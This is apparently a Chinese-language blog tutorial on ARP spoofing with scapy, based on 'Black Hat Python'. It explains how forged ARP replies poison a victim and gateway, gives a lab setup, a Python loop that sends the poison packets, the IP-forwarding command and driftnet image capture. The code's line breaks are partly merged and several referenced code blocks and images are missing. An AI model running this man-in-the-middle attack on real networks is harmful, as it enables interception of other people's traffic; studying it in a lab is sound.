使用scapy進行ARP攻擊

載入超時,點擊重試

ARP協議並不只在發送了ARP請求才接收ARP應答。當計算機接收到ARP應答數據包的時候,就會對本地的ARP緩存進行更新,將應答中的IP和MAC地址存儲在ARP緩存中。因此,當區域網中的某台機器B向A發送一個自己偽造的ARP應答,而如果這個應答是B冒充C偽造來的,即IP地址為C的IP,而MAC地址是偽造的,則當A接收到B偽造的ARP應答後,就會更新本地的ARP緩存,這樣在A看來C的IP地址沒有變,而它的MAC地址已經不是原來那個了。

通過ARP欺騙可以對內網數據進行嗅探,在內網滲透中往往也是重要的一部分。

實驗環境如下

無線網關:

IP:192.168.199.1

MAC: d4-ee-07-67-40-68

普通用戶:

IP:192.168.199.213

MAC:5c:93:a2:fe:29:e3

攻擊者:

IP:192.168.199.229

MAC:30-b4-9e-67-25-47

實驗環境圖如下:

一、ARP 欺騙原理

攻擊者通過構造兩種ARP響應包,分別欺騙普通用戶和網關路由器。

第一種ARP包中源IP為網關IP(192.168.199.1),源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為普通用戶IP(192.168.199.213),目的MAC為普通用戶MAC(5c:93:a2:fe:29:e3)。當用戶收到此ARP報文則將ARP表中網關的MAC地址更新為攻擊者的MAC(30:b4:9e:67:25:47)。當普通轉發數據時數據則會發向攻擊者的PC上,由攻擊者進行數據轉發。

第二種ARP包中源IP為普通用戶IP(192.168.199.213),但源MAC為攻擊者MAC(30:b4:9e:67:25:47),目的IP為網關IP(192.168.199.1),目的MAC為網關MAC(d4:ee:07:67:40:68)。網關收到此ARP將ARP表中普通用戶的MAC更新為攻擊者MAC(30:b4:9e:67:25:47)。

實現代碼如下:

`def poison_target(gateway_ip,gateway_mac,target_ip,target_mac):

poison_target=ARP()
poison_target.op=2poison_target.psrc=gateway_ip
poison_target.pdst=target_ip
poison_target.hwdst=target_mac
poison_gateway=ARP()
poison_gateway.op=2poison_gateway.psrc=target_ip
poison_gateway.pdst=gateway_ip
poison_gateway.hwdst=gateway_macprint "[*] Beginning the ARP poison.[CTRL-C to stop]"while True:
try:
send(poison_target)
send(poison_gateway)
print "send sucess!" time.sleep(2)
except KeyboardInterrupt:
restore_target(gateway_ip,gateway_mac,target_ip,target_mac)print "[*] ARP poison attack finished."return

通過不間斷的發送這兩種ARP報文,攻擊者以中間人的形式竊取數據報文。

實驗前普通用戶PC機中ARP表如下:

實驗開始前,需打開攻擊者的路由轉發功能,若未開啟轉發攻擊,普通用戶則無法正常訪問外網。

echo 1 > /proc/sys/net/ipv4/ip_forward

運行腳本:

查看普通用戶的ARP表項:

二、進行數據包抓取

使用scapy抓包代碼如下:

成功進行了ARP欺騙,訪問外網,能正常訪問

在攻擊者PC上抓取的數據包,並用wireshark打開如下:

三、圖片瀏覽

當被攻擊用戶同瀏覽器訪問圖片文件時,可搭配driftnet進行圖片抓取

driftnet -i wlan0

抓取圖片如下:

參考文章:《Black Hat Python》

推薦閱讀:

TAG:科技 | 網路安全 |